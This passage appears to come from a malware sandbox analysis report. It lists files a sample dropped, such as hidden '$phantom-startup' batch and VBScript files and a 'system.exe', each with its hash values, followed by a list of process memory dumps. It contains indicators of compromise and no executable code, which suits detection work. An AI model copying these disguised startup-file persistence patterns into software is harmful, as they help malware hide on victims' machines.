SHA256
6add231bbd51ead7de16ce1fd3a6c43fcf05fbb3301ac23705e371e835b20a73

SHA512
90dc5f0e0c97eed62c9951b823b74a4b97f670025086a852bda84737ff77aaf965fe4c2f9d2fa0214d32d66564191a83752a4a4f8cb3db92ad3ba0a35c40592f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
cef328ddb1ee8916e7a658919323edd8

SHA1
a676234d426917535e174f85eabe4ef8b88256a5

SHA256
a1b5b7ada8ebc910f20f91ada3991d3321104e9da598c958b1edac9f9aca0e90

SHA512
747400c20ca5b5fd1b54bc24e75e6a78f15af61df263be932d2ee7b2f34731c2de8ce03b2706954fb098c1ac36f0b761cf37e418738fa91f2a8ea78572f545cb

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_e42qgdu1.ges.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\$phantom-startup_str_184.bat

Filesize
410KB

MD5
d87efb4cf8da07e1956944f23313bb5b

SHA1
929203873eaf41e02377a26e1ef4db8a88d37696

SHA256
f3d0b86b5b93ff36ccb01f326eae7b612a3016c6d570478de2211d01d2e39cbd

SHA512
d726064d2833f4ee4a52dc85515f6dd471e72acd53d2576916313a0aaa224e199ba56cdf6fbd5fe4b21be62ab38779adc1b977b333971f160ac8cf3e26ba952a

Download Submit
C:\Users\Admin\AppData\Roaming\$phantom-startup_str_184.vbs

Filesize
124B

MD5
073c1e94055d06e96956d57543b0a047

SHA1
c306b25a9acc525852365e9709f91f594f4ea669

SHA256
08aac2bf9f27a383766e7e8cd9089cfb23903000704f6dfd727dec75101918a4

SHA512
05f5e4b84912ccf01bf6b024db8096d3038160fc17dc1bb6deb1e87e81a3d4e41e2925884eab7886bf769f78ec765d564abe2a8c19cc3108227ee58a92645f61

Download Submit
C:\Users\Admin\system.exe

Filesize
440KB

MD5
0e9ccd796e251916133392539572a374

SHA1
eee0b7e9fdb295ea97c5f2e7c7ba3ac7f4085204

SHA256
c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221

SHA512
e15c3696e2c96874242d3b0731ce0c790387ccce9a83a19634aed4d1efef72ce8b8fa683069950d652b16cd8d5e9daae9910df6d0a75cb74fdbe90ae5186765d

Download Submit
memory/740-76-0x00007FF7E1190000-0x00007FF7E11A0000-memory.dmp

Filesize
64KB

Download
memory/764-69-0x00007FF7E1190000-0x00007FF7E11A0000-memory.dmp

Filesize
64KB

Download
memory/880-30-0x00007FF811980000-0x00007FF812442000-memory.dmp

Filesize
10.8MB

Download
memory/880-27-0x00007FF811980000-0x00007FF812442000-memory.dmp

Filesize
10.8MB

Download
memory/880-26-0x00007FF811980000-0x00007FF812442000-memory.dmp

Filesize
10.8MB

Download
memory/880-17-0x00007FF811980000-0x00007FF812442000-memory.dmp

Filesize
10.8MB

Download
memory/952-74-0x00007FF7E1190000-0x00007FF7E11A0000-memory.dmp

Filesize
64KB

Download
memory/1132-75-0x00007FF7E1190000-0x00007FF7E11A0000-memory.dmp

Filesize
64KB

Download
memory/1164-66-0x00007FF7E1190000-0x00007FF7E11A0000-memory.dmp

Filesize
64KB

Download
memory/1508-84-0x00007FF7E1190000-0x00007FF7E11A0000-memory.dmp

Filesize
64KB

Download
memory/1536-70-0x00007FF7E1190000-0x00007FF7E11A0000-memory.dmp

Filesize
64KB

Download
memory/1548-67-0x00007FF7E1190000-0x00007FF7E11A0000-memory.dmp

Filesize
64KB

Download
memory/1708-82-0x00007FF7E1190000-0x00007FF7E11A0000-memory.dmp

Filesize
64KB

Download
memory/1756-59-0x00007FF7E1190000-0x00007FF7E11A0000-memory.dmp

Filesize
64KB

Download
memory/1760-68-0x00007FF7E1190000-0x00007FF7E11A0000-memory.dmp

Filesize
64KB

Download
memory/1768-58-0x00007FF7E1190000-0x00007FF7E11A0000-memory.dmp

Filesize
64KB

Download
memory/1892-85-0x00007FF7E1190000-0x00007FF7E11A0000-memory.dmp

Filesize
64KB

Download
memory/1960-55-0x00007FF7E1190000-0x00007FF7E11A0000-memory.dmp

Filesize
64KB

Download
memory/2352-60-0x00007FF7E1190000-0x00007FF7E11A0000-memory.dmp

Filesize
64KB

Download
memory/2412-48-0x0000012AF6CF0000-0x0000012AF6D0A000-memory.dmp

Filesize
104KB

Download
memory/2484-88-0x00007FF7E1190000-0x00007FF7E11A0000-memory.dmp

Filesize
64KB

Download
memory/2492-86-0x00007FF7E1190000-0x00007FF7E11A0000-memory.dmp

Filesize
64KB

Download
memory/2548-56-0x00007FF7E1190000-0x00007FF7E11A0000-memory.dmp

Filesize
64KB

Download
memory/2580-87-0x00007FF7E1190000-0x00007FF7E11A0000-memory.dmp

Filesize
64KB

Download
memory/3320-57-0x00007FF7E1190000-0x00007FF7E11A0000-memory.dmp

Filesize
64KB

Download
memory/3320-47-0x0000000004B40000-0x0000000004B6A000-memory.dmp

Filesize
168KB

Download
memory/5052-83-0x00007FF811980000-0x00007FF812442000-memory.dmp

Filesize
10.8MB

Download
memory/5052-15-0x0000016EF8C00000-0x0000016EF8C50000-memory.dmp

Filesize
320KB

Download
memory/5052-0-0x00007FF811983000-0x00007FF811985000-memory.dmp

Filesize
8KB

Download
memory/5052-14-0x0000016EF8B60000-0x0000016EF8B68000-memory.dmp

Filesize
32KB

Download
memory/5052-13-0x0000016EF8BB0000-0x0000016EF8BF6000-memory.dmp

Filesize
280KB

Download
memory/5052-12-0x00007FF811980000-0x00007FF812442000-memory.dmp

Filesize
10.8MB

Download
memory/5052-11-0x00007FF811980000-0x00007FF812442000-memory.dmp

Filesize
10.8MB

Download
memory/5052-10-0x00007FF811980000-0x00007FF812442000-memory.dmp

Filesize
10.8MB

Download
memory/5052-9-0x0000016EF8AF0000-0x0000016EF8B12000-memory.dmp

Filesize
136KB

Download